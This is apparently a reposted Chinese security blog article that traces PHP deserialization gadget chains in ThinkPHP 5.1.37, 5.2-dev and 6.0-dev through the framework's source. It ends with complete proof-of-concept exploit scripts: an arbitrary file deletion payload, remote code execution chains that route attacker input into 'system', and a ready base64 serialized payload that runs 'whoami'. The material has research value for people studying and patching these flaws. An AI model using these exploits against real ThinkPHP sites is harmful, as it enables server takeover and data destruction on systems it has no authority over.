最近Thinkphp序列化合总

最近Thinkphp几个版本都出了反序列化利用链,这里集结在一起,下面是复现文章,poc会放在最后

Thinkphp5.1.37

环境搭建

composer create-project topthink/think=5.1.37 v5.1.37

poc演示截图

1.png

调用链

2.png

单步调试

漏洞起点在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函数。

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}
private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

这里同时也存在一个任意文件删除的漏洞,exp如下

<?php
namespace think\process\pipes;
class Pipes{
}

class Windows extends Pipes
{
    private $files = [];

    public function __construct()
    {
        $this->files=['C:\FakeD\Software\phpstudy\PHPTutorial\WWW\shell.php'];
    }
}

echo base64_encode(serialize(new Windows()));

这里$filename会被当做字符串处理,而__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。

3.png

//thinkphp\library\think\model\concern\Conversion.php
public function __toString()
{
    return $this->toJson();
}
//thinkphp\library\think\model\concern\Conversion.php
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}
//thinkphp\library\think\model\concern\Conversion.php
public function toArray()
{
    $item       = [];
    $hasVisible = false;
    ...
    if (!empty($this->append)) {
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {
            // 追加关联对象属性
            $relation = $this->getRelation($key);

            if (!$relation) {
                $relation = $this->getAttr($key);
                if ($relation) {
                    $relation->visible($name);
                }
            }
    ...
}
//thinkphp\library\think\model\concern\Attribute.php
public function getAttr($name, &$item = null)
{
    try {
        $notFound = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $notFound = true;
        $value    = null;
    }
    。。。
    return $value;
}
//thinkphp\library\think\model\concern\Attribute.php
public function getData($name = null)
{
    if (is_null($name)) {
        return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
        return $this->data[$name];
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

这里的$this->append是我们可控的,然后通过getRelation($key),但是下面有一个!$relation,所以我们只要置空即可,然后调用getAttr($key),在调用getData($name)函数,这里$this->data['name']我们可控,之后回到toArray函数,通过这一句话$relation->visible($name); 我们控制$relation为一个类对象,调用不存在的visible方法,会自动调用__call方法,那么我们找到一个类对象没有visible方法,但存在__call方法的类,这里

4.png

可以看到这里有一个我们熟悉的回调函数call_user_func_array,但是这里有一个卡住了,就是array_unshift,这个函数把request对象插入到数组的开头,虽然这里的this->hook[$method]我们可以控制,但是构造不出来参数可用的payload,因为第一个参数是$this对象。

目前我们所能控制的内容就是

5.png

也就是我们能调用任意类的任意方法。

下面我们需要找到我们想要调用的方法,参考我之前分析的thinkphp-RCE的文章thinkphp-RCE漏洞分析,最终产生rce的地方是在input函数当中,那我们这里可否直接调用input方法呢,刚刚上面已经说了,参数已经固定死是request类,那我们需要寻找不受这个参数影响的方法。这里采用回溯的方法

public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }

    $name = (string) $name;
    if ('' != $name) {
        // 解析name
        if (strpos($name, '/')) {
            list($name, $type) = explode('/', $name);
        }

        $data = $this->getData($data, $name);

        if (is_null($data)) {
            return $default;
        }

        if (is_object($data)) {
            return $data;
        }
    }

    // 解析过滤器
    $filter = $this->getFilter($filter, $default);

    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
     } else {
        $this->filterValue($data, $name, $filter);
     }
     。。。
protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter) && false === strpos($filter, '/')) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }

    $filter[] = $default;

    return $filter;
}
protected function getData(array $data, $name)
{
    foreach (explode('.', $name) as $val) {
        if (isset($data[$val])) {
            $data = $data[$val];
        } else {
            return;
        }
    }

    return $data;
}

这里$filter可控,data参数不可控,而且$name = (string) $name;这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制$name变量,使之最好是字符串。同时也要找到能控制data参数

6.png

public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
        $method = $this->method(true);

        // 自动获取请求变量
        switch ($method) {
            case 'POST':
                $vars = $this->post(false);
                break;
            case 'PUT':
            case 'DELETE':
            case 'PATCH':
                $vars = $this->put(false);
                break;
            default:
                $vars = [];
        }

        // 当前请求参数和URL地址中的参数合并
        $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

        $this->mergeParam = true;
    }

    if (true === $name) {
        // 获取包含文件上传信息的数组
        $file = $this->file();
        $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

        return $this->input($data, '', $default, $filter);
    }

    return $this->input($this->param, $name, $default, $filter);
}
array_merge($this->param, $this->get(false), $vars, $this->route(false));
public function get($name = '', $default = null, $filter = '')
{
    if (empty($this->get)) {
        $this->get = $_GET;
    }

    return $this->input($this->get, $name, $default, $filter);
}
public function route($name = '', $default = null, $filter = '')
{
    return $this->input($this->route, $name, $default, $filter);
}
public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }
    ...
}

可以看到这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的$data参数可控,也就是call_user_func的$value,现在差一个条件,那就是name是字符串,继续回溯。

public function isAjax($ajax = false)
{
    $value  = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;

    if (true === $ajax) {
        return $result;
    }

    $result           = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
}

可以看到这里$this->config['var_ajax']可控,那么也就是name可控,所有条件聚齐。成功导致rce。

7.png 补充:

<?php

function filterValue(&$value,$key,$filters){
    if (is_callable($filters)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filters, $value);
            }
    return $value;
}

$data = array('input'=>"asdfasdf",'id'=>'whoami');
array_walk_recursive($data, "filterValue", "system");

8.png 9.png

Thinkphp5.2.*-dev

环境搭建

composer create-project topthink/think=5.2.*-dev v5.2

poc演示截图

1.png

调用链

2.png

单步调试

可以看到前面的链跟tp5.1.x的一样,这里不在列举,直接进去toArray函数,可以看到$data可控

public function toArray(): array
    {
    。。。
    $data = array_merge($this->data, $this->relation);

    foreach ($data as $key => $val) {
        if ($val instanceof Model || $val instanceof ModelCollection) {
            // 关联模型对象
            if (isset($this->visible[$key])) {
                $val->visible($this->visible[$key]);
            } elseif (isset($this->hidden[$key])) {
                $val->hidden($this->hidden[$key]);
            }
            // 关联模型对象
            $item[$key] = $val->toArray();
        } elseif (isset($this->visible[$key])) {
            $item[$key] = $this->getAttr($key);
        } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
            $item[$key] = $this->getAttr($key);
        }
    }
    。。。
public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = true;
            $value    = null;
        }

        return $this->getValue($name, $value, $relation);
    }
 public function getData(string $name = null)
    {
        if (is_null($name)) {
            return $this->data;
        }

        $fieldName = $this->getRealFieldName($name);

        if (array_key_exists($fieldName, $this->data)) {
            return $this->data[$fieldName];
            ...
        }
    }
protected function getRealFieldName(string $name): string
{
    return $this->strict ? $name : App::parseName($name);  //this->strict默认为true
}

可以看到getAttr函数中的$value可控,那么导致$this->getValue($name, $value, $relation);这里的三个参数都可控,跟进$this->getValue($name, $value, $relation);

protected function getValue(string $name, $value, bool $relation = false)
{
    // 检测属性获取器
    $fieldName = $this->getRealFieldName($name);
    $method    = 'get' . App::parseName($name, 1) . 'Attr';

    if (isset($this->withAttr[$fieldName])) {
        if ($relation) {
            $value = $this->getRelationValue($name);
        }

        $closure = $this->withAttr[$fieldName];
        $value   = $closure($value, $this->data);

这里$fieldName、$this->withAttr,导致$closure也可控,最终直接产生RCE。如下图

3.png 补充:

<?php

$a = array();
system('whoami',$a);

4.png 5.png

Thinkphp6.0.*-dev

环境搭建

composer create-project topthink/think=6.0.*-dev v6.0

poc演示截图

2.png

调用链

3.png

单步调试

//vendor\topthink\think-orm\src\Model.php
public function __destruct()
{
    if ($this->lazySave) {  //$this->lazySave可控
        $this->save();
    }
}
//vendor\topthink\think-orm\src\Model.php
public function save(array $data = [], string $sequence = null): bool
{
    // 数据对象赋值
    $this->setAttrs($data);

    if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
        return false;
    }

    $result = $this->exists ? $this->updateData() : $this->insertData($sequence); //this->exists可控

    if (false === $result) {
        return false;
    }
//vendor\topthink\think-orm\src\Model.php
public function isEmpty(): bool
{
    return empty($this->data);    //可控
}
protected function trigger(string $event): bool
{
    if (!$this->withEvent) {        //可控
        return true;
    }
    ...
}
protected function updateData(): bool
{
    // 事件回调
    if (false === $this->trigger('BeforeUpdate')) {   //可控
        return false;
    }

    $this->checkData();

    // 获取有更新的数据
    $data = $this->getChangedData();  

    if (empty($data)) {         //$data可控
        // 关联更新
        if (!empty($this->relationWrite)) {
            $this->autoRelationUpdate();
        }

        return true;
    }

    if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
        // 自动写入更新时间
        $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
        $this->data[$this->updateTime] = $data[$this->updateTime];
    }

    // 检查允许字段
    $allowFields = $this->checkAllowFields();
public function getChangedData(): array
{
    $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
        if ((empty($a) || empty($b)) && $a !== $b) {
            return 1;
        }
    //$this->force可控
        return is_object($a) || $a != $b ? 1 : 0;
    });

    // 只读字段不允许更新
    foreach ($this->readonly as $key => $field) {
        if (isset($data[$field])) {
            unset($data[$field]);
        }
    }

    return $data;
}
protected function checkAllowFields(): array
{
    // 检测字段
    if (empty($this->field)) {   //$this->field可控
        if (!empty($this->schema)) {    //$this->schema可控
            $this->field = array_keys(array_merge($this->schema, $this->jsonType));
        } else {
            $query = $this->db();
            $table = $this->table ? $this->table . $this->suffix : $query->getTable();
public function db($scope = []): Query
{
    /** @var Query $query */
    $query = self::$db->connect($this->connection)   //$this->connection可控
        ->name($this->name . $this->suffix)   //$this->suffix可控,采用拼接,调用_toString
        ->pk($this->pk);

后面的链跟之前的一样,这里就不分析了

4.png

所有poc

v5.1.37

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["dir","calc"]];
        $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/
?>

v5.2.*-dev

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("Smi1e" => "system");

        public function get($system)
        {
            $this->data = array("Smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}
namespace{
    $Conver = new think\model\Pivot("whoami");
    $payload = new think\process\pipes\Windows($Conver);
    echo base64_encode(serialize($payload));
}
?>

v6.0.*-dev

<?php
/**
 * Created by PhpStorm.
 * User: wh1t3P1g
 */

namespace think\model\concern {
    trait Conversion{
        protected $visible;
    }
    trait RelationShip{
        private $relation;
    }
    trait Attribute{
        private $withAttr;
        private $data;
        protected $type;
    }
    trait ModelEvent{
        protected $withEvent;
    }
}

namespace think {
    abstract class Model{
        use model\concern\RelationShip;
        use model\concern\Conversion;
        use model\concern\Attribute;
        use model\concern\ModelEvent;
        private $lazySave;
        private $exists;
        private $force;
        protected $connection;
        protected $suffix;
        function __construct($obj)
        {
            if($obj == null){
                $this->data = array("wh1t3p1g"=>"whoami");
                $this->relation = array("wh1t3p1g"=>[]);
                $this->visible= array("wh1t3p1g"=>[]);
                $this->withAttr = array("wh1t3p1g"=>"system");
            }else{
                $this->lazySave = true;
                $this->withEvent = false;
                $this->exists = true;
                $this->force = true;
                $this->data = array("wh1t3p1g"=>[]);
                $this->connection = "mysql";
                $this->suffix = $obj;
            }
        }
    }
}


namespace think\model {
    class Pivot extends \think\Model{
        function __construct($obj)
        {
            parent::__construct($obj);
        }
    }
}


namespace {
    $pivot1 = new \think\model\Pivot(null);
    $pivot2 = new \think\model\Pivot($pivot1);
    echo base64_encode(serialize($pivot2));
}

所有Thinkphp版本下载链接

https://packagist.org/packages/topthink/framework

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐